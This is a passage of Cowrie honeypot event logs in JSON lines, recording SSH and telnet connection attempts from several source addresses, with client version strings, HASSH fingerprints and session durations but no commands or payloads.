{"eventid":"cowrie.session.connect","src_ip":"45.79.181.179","src_port":23568,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dd00ef8ef76","protocol":"ssh","message":"New connection: 45.79.181.179:23568 (159.203.135.109:22) [session: 5dd00ef8ef76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.409616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.438415Z","src_ip":"45.79.181.223","session":"cf94ad54130a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.442550Z","src_ip":"45.79.181.223","session":"cf94ad54130a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.779099Z","src_ip":"45.79.181.179","session":"5dd00ef8ef76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.782995Z","src_ip":"45.79.181.179","session":"5dd00ef8ef76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.789345Z","src_ip":"45.79.181.223","session":"cf94ad54130a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.223","src_port":33702,"dst_ip":"10.17.0.5","dst_port":22,"session":"b54c9f51c503","protocol":"ssh","message":"New connection: 45.79.181.223:33702 (10.17.0.5:22) [session: b54c9f51c503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.793403Z"}
{"eventid":"cowrie.session.closed","duration":37.2335479259491,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:09.838438Z","src_ip":"62.210.97.77","session":"111a4c686bca","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:10.249175Z","src_ip":"45.79.181.223","session":"b54c9f51c503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:10.253608Z","src_ip":"45.79.181.223","session":"b54c9f51c503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:10.291887Z","src_ip":"45.79.181.179","session":"5dd00ef8ef76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.179","src_port":23576,"dst_ip":"159.203.135.109","dst_port":22,"session":"57037a0ff930","protocol":"ssh","message":"New connection: 45.79.181.179:23576 (159.203.135.109:22) [session: 57037a0ff930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:10.307933Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:10.848538Z","src_ip":"45.79.181.223","session":"b54c9f51c503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.223","src_port":33704,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2f8be19f9df","protocol":"ssh","message":"New connection: 45.79.181.223:33704 (10.17.0.5:22) [session: e2f8be19f9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:10.866024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:10.969602Z","src_ip":"45.79.181.179","session":"57037a0ff930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:10.973659Z","src_ip":"45.79.181.179","session":"57037a0ff930","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:11.366846Z","src_ip":"45.79.181.223","session":"e2f8be19f9df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:11.370912Z","src_ip":"45.79.181.223","session":"e2f8be19f9df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:11.636504Z","src_ip":"45.79.181.179","session":"57037a0ff930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42542,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0abdae8f092","protocol":"telnet","message":"New connection: 62.210.97.77:42542 (10.17.0.5:23) [session: b0abdae8f092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:11.762387Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42550,"dst_ip":"10.17.0.5","dst_port":23,"session":"548196bab764","protocol":"telnet","message":"New connection: 62.210.97.77:42550 (10.17.0.5:23) [session: 548196bab764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:11.947857Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:12.110807Z","src_ip":"45.79.181.223","session":"e2f8be19f9df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49836,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a8dd3a2d648","protocol":"telnet","message":"New connection: 38.54.119.93:49836 (10.17.0.5:23) [session: 9a8dd3a2d648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:12.240205Z"}
{"eventid":"cowrie.session.closed","duration":33.84395503997803,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:13.343030Z","src_ip":"62.210.97.77","session":"c7f89c752233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42552,"dst_ip":"10.17.0.5","dst_port":23,"session":"31e58dc829de","protocol":"telnet","message":"New connection: 62.210.97.77:42552 (10.17.0.5:23) [session: 31e58dc829de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:13.547355Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36504,"dst_ip":"10.17.0.5","dst_port":23,"session":"f04d83fac70d","protocol":"telnet","message":"New connection: 65.60.27.33:36504 (10.17.0.5:23) [session: f04d83fac70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:13.884001Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50200,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bafa784c797","protocol":"telnet","message":"New connection: 165.232.131.181:50200 (10.17.0.5:23) [session: 0bafa784c797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:14.040963Z"}
{"eventid":"cowrie.session.closed","duration":38.4250111579895,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:14.826746Z","src_ip":"62.210.97.77","session":"75777f3f7bbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42566,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d97241241b5","protocol":"telnet","message":"New connection: 62.210.97.77:42566 (10.17.0.5:23) [session: 9d97241241b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:14.957898Z"}
{"eventid":"cowrie.session.closed","duration":36.10673689842224,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:15.101447Z","src_ip":"62.210.97.77","session":"dfed454dd56d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39532,"dst_ip":"10.17.0.5","dst_port":23,"session":"78bc6289d3fa","protocol":"telnet","message":"New connection: 65.60.27.33:39532 (10.17.0.5:23) [session: 78bc6289d3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:16.493389Z"}
{"eventid":"cowrie.session.closed","duration":36.90338087081909,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:16.826070Z","src_ip":"62.210.97.77","session":"9b5babe19af1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42580,"dst_ip":"10.17.0.5","dst_port":23,"session":"280f68f626bc","protocol":"telnet","message":"New connection: 62.210.97.77:42580 (10.17.0.5:23) [session: 280f68f626bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:17.200234Z"}
{"eventid":"cowrie.session.closed","duration":34.58228421211243,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:17.218471Z","src_ip":"62.210.97.77","session":"edd392983320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53744,"dst_ip":"10.17.0.5","dst_port":23,"session":"79a0c0f31c82","protocol":"telnet","message":"New connection: 38.54.119.93:53744 (10.17.0.5:23) [session: 79a0c0f31c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:18.397546Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51954,"dst_ip":"10.17.0.5","dst_port":23,"session":"509e6195c7b3","protocol":"telnet","message":"New connection: 165.232.131.181:51954 (10.17.0.5:23) [session: 509e6195c7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:18.983301Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40480,"dst_ip":"10.17.0.5","dst_port":23,"session":"958c447e7156","protocol":"telnet","message":"New connection: 62.210.97.77:40480 (10.17.0.5:23) [session: 958c447e7156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:20.298938Z"}
{"eventid":"cowrie.session.closed","duration":35.1136679649353,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:21.614460Z","src_ip":"65.60.27.33","session":"40e4e7c918e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.05602693557739,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:21.724378Z","src_ip":"38.54.119.93","session":"27fde3e2a74b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.52604794502258,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:24.374774Z","src_ip":"62.210.97.77","session":"47ba9332f63d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.25846743583679,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:24.719691Z","src_ip":"62.210.97.77","session":"ba510cd3de59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40488,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbb8f3effb42","protocol":"telnet","message":"New connection: 62.210.97.77:40488 (10.17.0.5:23) [session: fbb8f3effb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:25.231036Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50524,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5a091aba05a","protocol":"telnet","message":"New connection: 65.60.27.33:50524 (10.17.0.5:23) [session: d5a091aba05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:26.149114Z"}
{"eventid":"cowrie.session.closed","duration":43.80748772621155,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:28.839593Z","src_ip":"65.60.27.33","session":"0f64786684d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56536,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bff568e3d5c","protocol":"telnet","message":"New connection: 62.210.97.77:56536 (10.17.0.5:23) [session: 9bff568e3d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:29.654762Z"}
{"eventid":"cowrie.session.closed","duration":32.234278440475464,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:29.884692Z","src_ip":"62.210.97.77","session":"2b1a63e5fcf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56538,"dst_ip":"10.17.0.5","dst_port":23,"session":"854e97aea928","protocol":"telnet","message":"New connection: 62.210.97.77:56538 (10.17.0.5:23) [session: 854e97aea928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:33.346712Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56548,"dst_ip":"10.17.0.5","dst_port":23,"session":"f11fad48edac","protocol":"telnet","message":"New connection: 62.210.97.77:56548 (10.17.0.5:23) [session: f11fad48edac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:33.352931Z"}
{"eventid":"cowrie.session.closed","duration":41.68538999557495,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:34.163787Z","src_ip":"165.232.131.181","session":"7387565040bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.34325671195984,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:34.792250Z","src_ip":"62.210.97.77","session":"5ea965d0d9bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36788,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56773f3c29d","protocol":"telnet","message":"New connection: 38.54.119.93:36788 (10.17.0.5:23) [session: a56773f3c29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:34.869211Z"}
{"eventid":"cowrie.session.closed","duration":33.151848554611206,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:35.238342Z","src_ip":"62.210.97.77","session":"3902d5ebca9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59122,"dst_ip":"10.17.0.5","dst_port":23,"session":"683d7c22ce76","protocol":"telnet","message":"New connection: 165.232.131.181:59122 (10.17.0.5:23) [session: 683d7c22ce76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:36.335579Z"}
{"eventid":"cowrie.session.closed","duration":36.273603677749634,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:36.627996Z","src_ip":"62.210.97.77","session":"a4865d103d7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.22172737121582,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:37.168474Z","src_ip":"65.60.27.33","session":"cb31be9f9d8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56556,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec59800036bd","protocol":"telnet","message":"New connection: 62.210.97.77:56556 (10.17.0.5:23) [session: ec59800036bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:37.278494Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56558,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b334e63dae7","protocol":"telnet","message":"New connection: 62.210.97.77:56558 (10.17.0.5:23) [session: 5b334e63dae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:37.808087Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56568,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58c9237ee3b","protocol":"telnet","message":"New connection: 62.210.97.77:56568 (10.17.0.5:23) [session: d58c9237ee3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:38.396929Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34460,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9a99e4d87de","protocol":"telnet","message":"New connection: 62.210.97.77:34460 (10.17.0.5:23) [session: c9a99e4d87de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:38.540949Z"}
{"eventid":"cowrie.session.closed","duration":120.00132012367249,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:38.556896Z","src_ip":"165.232.131.181","session":"e7da8b859f52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43456,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe0b182ecf42","protocol":"telnet","message":"New connection: 134.209.8.29:43456 (159.203.135.109:23) [session: fe0b182ecf42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:38.940921Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34466,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbd346b9a1f3","protocol":"telnet","message":"New connection: 62.210.97.77:34466 (10.17.0.5:23) [session: fbd346b9a1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:39.523222Z"}
{"eventid":"cowrie.session.closed","duration":4.975477933883667,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:39.844578Z","src_ip":"38.54.119.93","session":"a56773f3c29d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34474,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9b993bacc87","protocol":"telnet","message":"New connection: 62.210.97.77:34474 (10.17.0.5:23) [session: f9b993bacc87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:41.430882Z"}
{"eventid":"cowrie.session.closed","duration":33.584086179733276,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:41.823934Z","src_ip":"62.210.97.77","session":"9577378b920a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.54019379615784,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:41.988551Z","src_ip":"134.209.8.29","session":"eabecf0cbcb2","protocol":"telnet"}
